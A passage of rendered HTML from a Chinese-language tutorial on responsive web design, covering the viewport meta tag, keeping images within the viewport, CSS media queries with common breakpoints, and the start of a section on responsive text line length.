Flexbox</a>&#x300B;&#x3002;</p>\n<p>&#x90A3;&#x4E48;&#xFF0C;&#x5F00;&#x59CB;&#x4E4B;&#x524D;&#x9700;&#x8981;&#x4E86;&#x89E3;&#x7684;&#x5185;&#x5BB9;&#x5C31;&#x5230;&#x8FD9;&#x4E86;&#xFF0C;&#x63A5;&#x4E0B;&#x6765;&#x770B;&#x5982;&#x4F55;&#x5B9E;&#x73B0;&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;&#x3002;</p>\n<h2 id=\"&#x8BBE;&#x7F6E;-viewport\"><a name=\"&#x8BBE;&#x7F6E;-viewport\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x8BBE;&#x7F6E;-viewport\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x8BBE;&#x7F6E;-viewport\" class=\"plugin-anchor\" href=\"#&#x8BBE;&#x7F6E;-viewport\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x8BBE;&#x7F6E; viewport</h2>\n<p>&#x652F;&#x6301;&#x54CD;&#x5E94;&#x5F0F;&#x7B2C;&#x4E00;&#x6B65;&#xFF0C;&#x9700;&#x8981;&#x505A;&#x7684;&#x662F;&#x8BBE;&#x7F6E;&#x9875;&#x9762;&#x7684; <code>viewport</code>&#x3002;&#x79FB;&#x52A8;&#x7AEF;&#x7F51;&#x9875;&#x4F1A;&#x5728;&#x5934;&#x90E8;&#x4E66;&#x5199; viewport &#x7684;&#x5143;&#x6807;&#x7B7E;&#xFF0C;&#x5B83;&#x544A;&#x8BC9;&#x6D4F;&#x89C8;&#x5668;&#x9875;&#x9762;&#x591A;&#x5927;&#x5C3A;&#x5BF8;&#xFF0C;&#x662F;&#x5426;&#x9700;&#x8981;&#x7F29;&#x653E;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>meta</span> <span class=\"token attr-name\">name</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>viewport<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">content</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>width=device-width, initial-scale=1<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x60F3;&#x8981;&#x7406;&#x89E3; viewport &#x53EF;&#x4EE5;&#x9605;&#x8BFB; Peter-Paul Koch &#x5199;&#x7684;&#x4E09;&#x7BC7;&#x6587;&#x7AE0;&#xFF0C;&#x300A;<a href=\"https://www.quirksmode.org/mobile/viewports.html\" target=\"_blank\">A tale of two viewports &#x2014; part one</a>&#x300B;&#xFF0C;&#x300A;<a href=\"https://www.quirksmode.org/mobile/viewports2.html\" target=\"_blank\">A tale of two viewports &#x2014; part two</a>&#x300B;&#xFF0C;&#x300A;<a href=\"https://www.quirksmode.org/mobile/metaviewport/\" target=\"_blank\">Meta viewport</a>&#x300B;&#x3002;</p>\n<p>&#x5728;&#x65E9;&#x671F;&#xFF0C;&#x79FB;&#x52A8;&#x8BBE;&#x5907;&#x7ECF;&#x5E38;&#x9700;&#x8981;&#x6253;&#x5F00; PC &#x7AEF;&#x7684;&#x7F51;&#x9875;&#xFF0C;&#x65E9;&#x671F;&#x7684;&#x79FB;&#x52A8;&#x8BBE;&#x5907;&#x8BBE;&#x5907;&#x50CF;&#x7D20;&#x6BD4;&#x8F83;&#x4F4E;&#xFF0C;&#x591A;&#x4E3A; 320px&#xFF0C;&#x800C; PC &#x7AEF;&#x7684;&#x7F51;&#x9875;&#x5BBD;&#x5EA6;&#x4E00;&#x822C;&#x90FD;&#x5F88;&#x5927;&#xFF0C;&#x6240;&#x4EE5;&#xFF0C;&#x5982;&#x679C;&#x5C06; PC &#x7AEF;&#x7684;&#x7F51;&#x9875;&#x5728;&#x79FB;&#x52A8;&#x8BBE;&#x5907;&#x4E0A;&#x6253;&#x5F00;&#xFF0C;&#x4F1A;&#x56E0;&#x4E3A;&#x9875;&#x9762;&#x592A;&#x7A84;&#x800C;&#x5BFC;&#x81F4;&#x5E03;&#x5C40;&#x9519;&#x4E71;&#x3002;&#x4E3A;&#x4E86;&#x89E3;&#x51B3;&#x8FD9;&#x4E2A;&#x95EE;&#x9898;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x4F1A;&#x5C06;&#x9875;&#x9762;&#x9ED8;&#x8BA4; viewport &#x8BBE;&#x7F6E;&#x4E3A;&#x4E00;&#x4E2A;&#x8F83;&#x5927;&#x7684;&#x503C;&#xFF08;Safari &#x9ED8;&#x8BA4;&#x662F; 980px&#xFF09;&#xFF0C;&#x6240;&#x4EE5; PC &#x7AEF;&#x7684;&#x7F51;&#x9875;&#x5728;&#x79FB;&#x52A8;&#x8BBE;&#x5907;&#x6D4F;&#x89C8;&#x5668;&#x4E0A;&#x90FD;&#x80FD;&#x6B63;&#x5E38;&#x6253;&#x5F00;&#xFF0C;&#x53EA;&#x662F;&#x5143;&#x7D20;&#x770B;&#x4E0A;&#x53BB;&#x6BD4;&#x8F83;&#x5C0F;&#x3002;</p>\n<p>&#x5728;&#x4E0A;&#x9762;&#x7684;&#x4F8B;&#x5B50;&#x4E2D;&#xFF0C;viewport &#x7684;&#x503C; <code>width=device-width</code>&#xFF0C;&#x544A;&#x8BC9;&#x6D4F;&#x89C8;&#x5668;&#x7528; &#x5C4F;&#x5E55;&#x5BBD;&#x5EA6;&#xFF08;&#x5355;&#x4F4D;&#x4E3A; CSS &#x50CF;&#x7D20;&#xFF09;&#x6765;&#x4F5C;&#x4E3A;&#x9875;&#x9762;&#x5BBD;&#x5EA6;&#x6E32;&#x67D3;&#xFF0C;&#x5728; iPhone X &#x4E0B;&#x662F; 375px&#xFF0C;&#x4E0D;&#x540C;&#x7684;&#x8BBE;&#x5907;&#x5BBD;&#x5EA6;&#x53EF;&#x80FD;&#x4E0D;&#x4E00;&#x6837;&#x3002;&#x8FD9;&#x4E2A;&#x89C6;&#x53E3;&#x88AB; Peter-Paul Koch &#x79F0;&#x4E3A;&#x7406;&#x60F3;&#x89C6;&#x53E3;&#xFF08;ideal viewport&#xFF09;&#xFF0C;&#x4E5F;&#x662F;&#x4F53;&#x9A8C;&#x6700;&#x597D;&#x7684;&#x89C6;&#x53E3;&#x5927;&#x5C0F;&#x3002;</p>\n<p><img src=\"img/viewport.png\" alt=\"viewport &#x8BBE;&#x7F6E;&#x524D;&#x540E;&#x5BF9;&#x6BD4;&#x56FE;&#xFF0C;&#x53F3;&#x4FA7;&#x8BBE;&#x7F6E;&#x4E86; viewport\"></p>\n<p>viewport &#x5143;&#x6807;&#x7B7E;&#x7684;&#x53D6;&#x503C;&#x6709; 6 &#x79CD;&#xFF0C;&#x5982;&#x4E0B;&#x8868;&#x6240;&#x793A;</p>\n<table>\n<thead>\n<tr>\n<th>&#x5B57;&#x6BB5;&#x540D;</th>\n<th>&#x53D6;&#x503C;</th>\n<th>&#x8BF4;&#x660E;</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><code>width</code></td>\n<td>&#x6B63;&#x6574;&#x6570;&#xFF0C;device-width</td>\n<td>&#x5B9A;&#x4E49;&#x89C6;&#x53E3;&#x7684;&#x5BBD;&#x5EA6;&#xFF0C;&#x5355;&#x4F4D;&#x662F; CSS &#x50CF;&#x7D20;&#xFF0C;&#x5982;&#x679C;&#x7B49;&#x4E8E; device-width&#xFF0C;&#x5219;&#x4E3A;&#x7406;&#x60F3;&#x89C6;&#x53E3;&#x5BBD;&#x5EA6;</td>\n</tr>\n<tr>\n<td><code>height</code></td>\n<td>&#x6B63;&#x6574;&#x6570;&#xFF0C;device-height</td>\n<td>&#x5B9A;&#x4E49;&#x89C6;&#x53E3;&#x7684;&#x9AD8;&#x5EA6;&#xFF0C;&#x5355;&#x4F4D;&#x662F; CSS &#x50CF;&#x7D20;&#xFF0C;&#x5982;&#x679C;&#x7B49;&#x4E8E; device-height&#xFF0C;&#x5219;&#x4E3A;&#x7406;&#x60F3;&#x89C6;&#x53E3;&#x9AD8;&#x5EA6;</td>\n</tr>\n<tr>\n<td><code>initial-scale</code></td>\n<td>0 - 10</td>\n<td>&#x521D;&#x59CB;&#x7F29;&#x653E;&#x6BD4;&#x4F8B;&#xFF0C;&#x5141;&#x8BB8;&#x5C0F;&#x6570;&#x70B9;</td>\n</tr>\n<tr>\n<td><code>minimum-scale</code></td>\n<td>0 - 10</td>\n<td>&#x6700;&#x5C0F;&#x7F29;&#x653E;&#x6BD4;&#x4F8B;&#xFF0C;&#x5FC5;&#x987B;&#x5C0F;&#x4E8E;&#x7B49;&#x4E8E; maximum-scale</td>\n</tr>\n<tr>\n<td><code>maximum-scale</code></td>\n<td>0 - 10</td>\n<td>&#x6700;&#x5927;&#x7F29;&#x653E;&#x6BD4;&#x4F8B;&#xFF0C;&#x5FC5;&#x987B;&#x5927;&#x4E8E;&#x7B49;&#x4E8E; minimum-scale</td>\n</tr>\n<tr>\n<td><code>user-scalable</code></td>\n<td>yes/no</td>\n<td>&#x662F;&#x5426;&#x5141;&#x8BB8;&#x7528;&#x6237;&#x7F29;&#x653E;&#x9875;&#x9762;&#xFF0C;&#x9ED8;&#x8BA4;&#x662F; yes</td>\n</tr>\n</tbody>\n</table>\n<h2 id=\"&#x786E;&#x4FDD;&#x5185;&#x5BB9;&#x4E0D;&#x4F1A;&#x8D85;&#x51FA;-viewport\"><a name=\"&#x786E;&#x4FDD;&#x5185;&#x5BB9;&#x4E0D;&#x4F1A;&#x8D85;&#x51FA;-viewport\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x786E;&#x4FDD;&#x5185;&#x5BB9;&#x4E0D;&#x4F1A;&#x8D85;&#x51FA;-viewport\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x786E;&#x4FDD;&#x5185;&#x5BB9;&#x4E0D;&#x4F1A;&#x8D85;&#x51FA;-viewport\" class=\"plugin-anchor\" href=\"#&#x786E;&#x4FDD;&#x5185;&#x5BB9;&#x4E0D;&#x4F1A;&#x8D85;&#x51FA;-viewport\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x786E;&#x4FDD;&#x5185;&#x5BB9;&#x4E0D;&#x4F1A;&#x8D85;&#x51FA; viewport</h2>\n<p>&#x8BBE;&#x7F6E;&#x4E86; viewport &#x4E3A;&#x7406;&#x60F3;&#x89C6;&#x53E3;&#xFF0C;&#x5982;&#x679C;&#x5728; iPhone X &#x4E0A;&#xFF0C;&#x6709;&#x5143;&#x7D20;&#x7684;&#x5BBD;&#x5EA6;&#x8D85;&#x51FA;&#x4E86; 375px&#xFF0C;&#x90A3;&#x4E48;&#x5C31;&#x4F1A;&#x6EA2;&#x51FA;&#x5230;&#x89C6;&#x53E3;&#x5916;&#x9762;&#xFF0C;&#x5BFC;&#x81F4;&#x51FA;&#x73B0;&#x6A2A;&#x5411;&#x6EDA;&#x52A8;&#x6761;&#x3002;&#x65E0;&#x8BBA;&#x662F;&#x5728; PC &#x7AEF;&#xFF0C;&#x8FD8;&#x662F;&#x79FB;&#x52A8;&#x7AEF;&#xFF0C;&#x7528;&#x6237;&#x7684;&#x90FD;&#x4E60;&#x60EF;&#x4E0A;&#x4E0B;&#x6EDA;&#x52A8;&#xFF0C;&#x800C;&#x4E0D;&#x662F;&#x5DE6;&#x53F3;&#x6EDA;&#x52A8;&#xFF0C;&#x5F3A;&#x8FEB;&#x7528;&#x6237;&#x6A2A;&#x5411;&#x6EDA;&#x52A8;&#x6216;&#x8005;&#x7F29;&#x5C0F;&#x9875;&#x9762;&#x6765;&#x6D4F;&#x89C8;&#x5168;&#x90E8;&#x7684;&#x5185;&#x5BB9;&#xFF0C;&#x4F53;&#x9A8C;&#x5F88;&#x4E0D;&#x597D;&#x3002;</p>\n<p>&#x56E0;&#x6B64;&#xFF0C;&#x4E0D;&#x80FD;&#x671F;&#x671B;&#x8BBE;&#x7F6E; viewport &#x5BBD;&#x5EA6;&#x80FD;&#x89E3;&#x51B3;&#x9002;&#x914D;&#x95EE;&#x9898;&#xFF0C;&#x8FD8;&#x9700;&#x8981;&#x5F00;&#x53D1;&#x8005;&#x8BB0;&#x4F4F;&#x4EE5;&#x4E0B;&#x539F;&#x5219;&#x3002;</p>\n<ul>\n<li>&#x4E0D;&#x8981;&#x4F7F;&#x7528;&#x5927;&#x7684;&#x56FA;&#x5B9A;&#x5BBD;&#x5EA6;&#x7684;&#x5143;&#x7D20;&#xFF0C;&#x5982;&#x679C;&#x4E0D;&#x8003;&#x8651;&#x7A7F;&#x6234;&#x5F0F;&#x8BBE;&#x5907;&#xFF0C;&#x4E0D;&#x8981;&#x8BBE;&#x7F6E;&#x5927;&#x4E8E; 320px &#x7684;&#x5BBD;&#x5EA6;</li>\n<li>&#x4E0D;&#x5E94;&#x8BE5;&#x8BA9;&#x5185;&#x5BB9;&#x5728;&#x67D0;&#x4E00;&#x4E2A;&#x7279;&#x5B9A;&#x5BBD;&#x5EA6;&#x7684; viewport &#x4E0B;&#x624D;&#x80FD;&#x6B63;&#x5E38;&#x663E;&#x793A;</li>\n<li>&#x4F7F;&#x7528;&#x76F8;&#x5BF9;&#x5355;&#x4F4D;&#x6216;&#x8005;&#x5A92;&#x4F53;&#x67E5;&#x8BE2;&#x8BA9;&#x5143;&#x7D20;&#x5728;&#x4E0D;&#x540C;&#x5927;&#x5C0F;&#x7684;&#x89C6;&#x53E3;&#x4E0B;&#x9002;&#x914D;</li>\n</ul>\n<p>&#x5BF9;&#x4E8E;&#x56FE;&#x7247;&#x6216;&#x8005;&#x89C6;&#x9891;&#x7B49;&#x5D4C;&#x5165;&#x5F0F;&#x7684;&#x5143;&#x7D20;&#xFF0C;&#x53EF;&#x4EE5;&#x5728;&#x7AD9;&#x70B9; CSS &#x4E2D;&#x6DFB;&#x52A0;&#x4E0B;&#x9762;&#x7684;&#x4EE3;&#x7801;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-css\"><span class=\"token selector\">img, embed, object, video</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token property\">max-width</span><span class=\"token punctuation\">:</span> 100%<span class=\"token punctuation\">;</span> <span class=\"token comment\">/* &#x8BBE;&#x7F6E; img &#x7B49;&#x5143;&#x7D20;&#x6700;&#x5927;&#x5BBD;&#x5EA6;&#x5A01; 100% */</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p><img src=\"img/viewport_overflow.png\" alt=\"&#x8BBE;&#x7F6E;&#x56FE;&#x7247;&#x6700;&#x5927;&#x5BBD;&#x5EA6;&#x524D;&#x540E;&#x5BF9;&#x6BD4;&#xFF0C;&#x5DE6;&#x4FA7;&#x6CA1;&#x6709;&#x8BBE;&#x7F6E; max-width &#x4E3A; 100%\"></p>\n<h2 id=\"&#x4F7F;&#x7528;&#x5A92;&#x4F53;&#x67E5;&#x8BE2;\"><a name=\"&#x4F7F;&#x7528;&#x5A92;&#x4F53;&#x67E5;&#x8BE2;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x4F7F;&#x7528;&#x5A92;&#x4F53;&#x67E5;&#x8BE2;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x4F7F;&#x7528;&#x5A92;&#x4F53;&#x67E5;&#x8BE2;\" class=\"plugin-anchor\" href=\"#&#x4F7F;&#x7528;&#x5A92;&#x4F53;&#x67E5;&#x8BE2;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x4F7F;&#x7528;&#x5A92;&#x4F53;&#x67E5;&#x8BE2;</h2>\n<p>&#x5A92;&#x4F53;&#x67E5;&#x8BE2;&#xFF08;media query&#xFF09;&#x8BA9;&#x5F00;&#x53D1;&#x8005;&#x53EF;&#x4EE5;&#x6709;&#x9009;&#x62E9;&#x6027;&#x7684;&#x5E94;&#x7528;&#x4E0D;&#x540C; CSS&#xFF0C;&#x5A92;&#x4F53;&#x67E5;&#x8BE2;&#x63D0;&#x4F9B;&#x4E86;&#x7B80;&#x5355;&#x7684;&#x5224;&#x65AD;&#x65B9;&#x6CD5;&#xFF0C;&#x53EF;&#x4EE5;&#x6839;&#x636E;&#x4E0D;&#x540C;&#x7684;&#x8BBE;&#x5907;&#x7279;&#x5F81;&#x5E94;&#x7528;&#x4E0D;&#x540C;&#x6837;&#x5F0F;&#xFF0C;&#x6BD4;&#x5982;&#x8BBE;&#x5907;&#x7684;&#x5BBD;&#x5EA6;&#x3001;&#x7C7B;&#x578B;&#x3001;&#x65B9;&#x5411;&#x7B49;&#xFF0C;&#x53EF;&#x4EE5;&#x53C2;&#x8003; MDN &#x4E0A;&#x7684;&#x6587;&#x6863;<a href=\"https://developer.mozilla.org/zh-CN/docs/Web/Guide/CSS/Media_queries\" target=\"_blank\">&#x300A;CSS &#x5A92;&#x4F53;&#x67E5;&#x8BE2;&#x300B;</a>&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token comment\">&lt;!-- &#x5728; viewport &#x5BBD;&#x5EA6;&#x5927;&#x4E8E; 600px &#x65F6;&#xFF0C;&#x5E94;&#x7528; example.css &#x4E2D;&#x7684;&#x6837;&#x5F0F; --&gt;</span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">ref</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>stylesheet<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">href</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>example.css<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">media</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>min-width: 600px<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>style</span><span class=\"token punctuation\">&gt;</span></span><span class=\"token style\"><span class=\"token language-css\">\n<span class=\"token comment\">/* &#x5982;&#x679C;&#x8BBE;&#x5907;&#x7C7B;&#x578B;&#x4E3A;&#x5C4F;&#x5E55;&#x5E76;&#x4E14; viewport &#x5C0F;&#x4E8E; 800px &#x5BBD;&#xFF0C;&#x8BBE;&#x7F6E; body &#x80CC;&#x666F;&#x989C;&#x8272;&#x4E3A;&#x7070;&#x8272; */</span>\n<span class=\"token atrule\"><span class=\"token rule\">@media</span> screen and <span class=\"token punctuation\">(</span><span class=\"token property\">max-width</span><span class=\"token punctuation\">:</span> 800px<span class=\"token punctuation\">)</span></span> <span class=\"token punctuation\">{</span>\n  <span class=\"token selector\">body</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token property\">background</span><span class=\"token punctuation\">:</span> #ccc<span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>style</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x5982;&#x679C;&#x9700;&#x8981;&#x4F7F;&#x7528;&#x5A92;&#x4F53;&#x67E5;&#x8BE2;&#x5E94;&#x7528;&#x7684;&#x6837;&#x5F0F;&#x6BD4;&#x8F83;&#x591A;&#xFF0C;&#x53EF;&#x4EE5;&#x72EC;&#x7ACB;&#x4E3A;&#x4E00;&#x4E2A;&#x6587;&#x4EF6;&#xFF0C;&#x901A;&#x8FC7;&#x5728; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span><span class=\"token punctuation\">&gt;</span></span></code> &#x6807;&#x7B7E;&#x4E2D;&#x8BBE;&#x7F6E;&#x5A92;&#x4F53;&#x67E5;&#x8BE2;&#x6761;&#x4EF6;&#x3002;</p>\n<p>&#x5A92;&#x4F53;&#x67E5;&#x8BE2;&#x652F;&#x6301;&#x5F88;&#x591A;&#x8BBE;&#x5907;&#x7279;&#x5F81;&#xFF0C;&#x5E38;&#x7528;&#x7684;&#x4E3B;&#x8981;&#x662F; viewport &#x7684;&#x5BBD;&#x9AD8;&#x548C;&#x8BBE;&#x5907;&#x65B9;&#x5411;&#xFF0C;&#x5982;&#x4E0B;&#x8868;&#x6240;&#x793A;&#x3002;</p>\n<table>\n<thead>\n<tr>\n<th>&#x8BBE;&#x5907;&#x7279;&#x5F81;</th>\n<th>&#x53D6;&#x503C;</th>\n<th>&#x8BF4;&#x660E;</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><code>min-width</code></td>\n<td>&#x6570;&#x503C;&#xFF0C;&#x5982; 600px</td>\n<td>&#x89C6;&#x53E3;&#x5BBD;&#x5EA6;&#x5927;&#x4E8E; min-width &#x65F6;&#x5E94;&#x7528;&#x6837;&#x5F0F;</td>\n</tr>\n<tr>\n<td><code>max-width</code></td>\n<td>&#x6570;&#x503C;&#xFF0C;&#x5982; 800px</td>\n<td>&#x89C6;&#x53E3;&#x5BBD;&#x5EA6;&#x5C0F;&#x4E8E; max-width &#x65F6;&#x5E94;&#x7528;&#x6837;&#x5F0F;</td>\n</tr>\n<tr>\n<td><code>orientation</code></td>\n<td>portrait|landscape</td>\n<td>&#x5F53;&#x524D;&#x8BBE;&#x5907;&#x65B9;&#x5411;&#xFF0C;portrait &#x5782;&#x76F4;&#xFF0C;landscape &#x6C34;&#x5E73;</td>\n</tr>\n</tbody>\n</table>\n<p>&#x5982;&#x4F55;&#x9009;&#x62E9; <code>min-width</code> &#x548C; <code>max-width</code> &#x7684;&#x53D6;&#x503C;&#xFF0C;&#x6211;&#x4EEC;&#x79F0;&#x4E3A;&#x9009;&#x62E9;&#x65AD;&#x70B9;&#xFF0C;&#x4E3B;&#x8981;&#x53D6;&#x51B3;&#x4E8E;&#x4EA7;&#x54C1;&#x8BBE;&#x8BA1;&#x672C;&#x8EAB;&#xFF0C;&#x6CA1;&#x6709;&#x4E07;&#x80FD;&#x5A92;&#x4F53;&#x67E5;&#x8BE2;&#x7684;&#x4EE3;&#x7801;&#x3002;&#x4F46;&#x7ECF;&#x8FC7;&#x5B9E;&#x8DF5;&#xFF0C;&#x6211;&#x4EEC;&#x4E5F;&#x603B;&#x7ED3;&#x4E86;&#x4E00;&#x5957;&#x6BD4;&#x8F83;&#x5177;&#x6709;&#x4EE3;&#x8868;&#x6027;&#x7684;&#x8BBE;&#x5907;&#x65AD;&#x70B9;&#xFF0C;&#x4EE3;&#x7801;&#x5982;&#x4E0B;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-css\"><span class=\"token comment\">/* &#x5F88;&#x5C0F;&#x7684;&#x8BBE;&#x5907;&#xFF08;&#x624B;&#x673A;&#x7B49;&#xFF0C;&#x5C0F;&#x4E8E; 600px&#xFF09; */</span>\n<span class=\"token atrule\"><span class=\"token rule\">@media</span> only screen and <span class=\"token punctuation\">(</span><span class=\"token property\">max-width</span><span class=\"token punctuation\">:</span> 600px<span class=\"token punctuation\">)</span></span> <span class=\"token punctuation\">{</span> <span class=\"token punctuation\">}</span>\n\n<span class=\"token comment\">/* &#x6BD4;&#x8F83;&#x5C0F;&#x7684;&#x8BBE;&#x5907;&#xFF08;&#x7AD6;&#x5C4F;&#x7684;&#x5E73;&#x677F;&#xFF0C;&#x5C4F;&#x5E55;&#x8F83;&#x5927;&#x7684;&#x624B;&#x673A;&#x7B49;, &#x5927;&#x4E8E; 600px&#xFF09; */</span>\n<span class=\"token atrule\"><span class=\"token rule\">@media</span> only screen and <span class=\"token punctuation\">(</span><span class=\"token property\">min-width</span><span class=\"token punctuation\">:</span> 600px<span class=\"token punctuation\">)</span></span> <span class=\"token punctuation\">{</span> <span class=\"token punctuation\">}</span>\n\n<span class=\"token comment\">/* &#x4E2D;&#x578B;&#x5927;&#x5C0F;&#x8BBE;&#x5907;&#xFF08;&#x6A2A;&#x5C4F;&#x7684;&#x5E73;&#x677F;, &#x5927;&#x4E8E; 768px&#xFF09; */</span>\n<span class=\"token atrule\"><span class=\"token rule\">@media</span> only screen and <span class=\"token punctuation\">(</span><span class=\"token property\">min-width</span><span class=\"token punctuation\">:</span> 768px<span class=\"token punctuation\">)</span></span> <span class=\"token punctuation\">{</span> <span class=\"token punctuation\">}</span>\n\n<span class=\"token comment\">/* &#x5927;&#x578B;&#x8BBE;&#x5907;&#xFF08;&#x7535;&#x8111;, &#x5927;&#x4E8E; 992px&#xFF09; */</span>\n<span class=\"token atrule\"><span class=\"token rule\">@media</span> only screen and <span class=\"token punctuation\">(</span><span class=\"token property\">min-width</span><span class=\"token punctuation\">:</span> 992px<span class=\"token punctuation\">)</span></span> <span class=\"token punctuation\">{</span> <span class=\"token punctuation\">}</span>\n\n<span class=\"token comment\">/* &#x8D85;&#x5927;&#x578B;&#x8BBE;&#x5907;&#xFF08;&#x5927;&#x5C3A;&#x5BF8;&#x7535;&#x8111;&#x5C4F;&#x5E55;, &#x5927;&#x4E8E; 1200px&#xFF09; */</span>\n<span class=\"token atrule\"><span class=\"token rule\">@media</span> only screen and <span class=\"token punctuation\">(</span><span class=\"token property\">min-width</span><span class=\"token punctuation\">:</span> 1200px<span class=\"token punctuation\">)</span></span> <span class=\"token punctuation\">{</span> <span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x5982;&#x679C;&#x8981;&#x5BF9;&#x7EC6;&#x5206;&#x5C4F;&#x5E55;&#x5927;&#x5C0F;&#x8FDB;&#x884C;&#x9002;&#x914D;&#xFF0C;&#x53EF;&#x4EE5;&#x67E5;&#x770B;&#x6587;&#x7AE0;&#xFF0C;&#x5217;&#x51FA;&#x4E86;&#x8BE6;&#x7EC6;&#x7684;&#x5E38;&#x89C1;&#x8BBE;&#x5907;&#x7684;&#x5A92;&#x4F53;&#x67E5;&#x8BE2;&#x6761;&#x4EF6;&#xFF0C;&#x300A;<a href=\"https://responsivedesign.is/develop/browser-feature-support/media-queries-for-common-device-breakpoints/\" target=\"_blank\">media queries for common device breakpoints</a>&#x300B;&#x3002;</p>\n<h2 id=\"&#x6700;&#x4F73;&#x5B9E;&#x8DF5;\"><a name=\"&#x6700;&#x4F73;&#x5B9E;&#x8DF5;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6700;&#x4F73;&#x5B9E;&#x8DF5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6700;&#x4F73;&#x5B9E;&#x8DF5;\" class=\"plugin-anchor\" href=\"#&#x6700;&#x4F73;&#x5B9E;&#x8DF5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6700;&#x4F73;&#x5B9E;&#x8DF5;</h2>\n<h3 id=\"&#x54CD;&#x5E94;&#x5F0F;&#x6587;&#x5B57;\"><a name=\"&#x54CD;&#x5E94;&#x5F0F;&#x6587;&#x5B57;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x54CD;&#x5E94;&#x5F0F;&#x6587;&#x5B57;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x54CD;&#x5E94;&#x5F0F;&#x6587;&#x5B57;\" class=\"plugin-anchor\" href=\"#&#x54CD;&#x5E94;&#x5F0F;&#x6587;&#x5B57;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x54CD;&#x5E94;&#x5F0F;&#x6587;&#x5B57;</h3>\n<p>&#x5927;&#x591A;&#x6570;&#x7528;&#x6237;&#x9605;&#x8BFB;&#x90FD;&#x662F;&#x4ECE;&#x5DE6;&#x5230;&#x53F3;&#xFF0C;&#x5982;&#x679C;&#x4E00;&#x884C;&#x6587;&#x5B57;&#x592A;&#x957F;&#xFF0C;&#x7528;&#x6237;&#x9605;&#x8BFB;&#x4E0B;&#x4E00;&#x884C;&#x65F6;&#x5BB9;&#x6613;&#x51FA;&#x9519;&#xFF0C;&#x6216;&#x8005;&#x7528;&#x6237;&#x53EA;&#x4F1A;&#x8BFB;&#x4E00;&#x884C;&#x6587;&#x5B57;&#x7684;&#x524D;&#x534A;&#x90E8;&#x5206;&#xFF0C;&#x800C;&#x7565;&#x8BFB;&#x540E;&#x534A;&#x90E8;&#x5206;&#x3002;&#x5728;&#x4E0A;&#x4E16;&#x7EAA;&#x5C31;&#x6709;&#x7814;&#x7A76;&#x8868;&#x660E;&#xFF0C;&#x4E00;&#x884C; 45 &#xFF5E; 90 &#x4E2A;&#x82F1;&#x6587;&#x5B57;&#x7B26;&#x662F;&#x6700;&#x597D;&#x7684;&#xFF0C;&#x5F53;&#x7136;&#x8FD9;&#x8981;&#x770B;&#x662F;&#x4EC0;&#x4E48;&#x5B57;&#x4F53;&#xFF0C;&#x4E00;&#x4E2A;&#x4E2D;&#x6587;&#x6C49;&#x5B57;&#x4E00;&#x822C;&#x5BF9;&#x5E94;&#x4E24;&#x4E2A;&#x82F1;&#x6587;&#x5B57;&#x7B26;&#xFF0C;&#x6240;&#x4EE5;&#xFF0C;&#x5BF9;&#x4E8E;&#x4E2D;&#x56FD;&#x7528;&#x6237;&#x6765;&#x8BF4;&#xFF0C;&#x4E00;&#x884C;&#x6587;&#x5B57;&#x5408;&#x7406;&#x7684;&#x6570;&#x91CF;&#x5E94;&#x8BE5;&#x662F;  22 &#xFF5E; 45 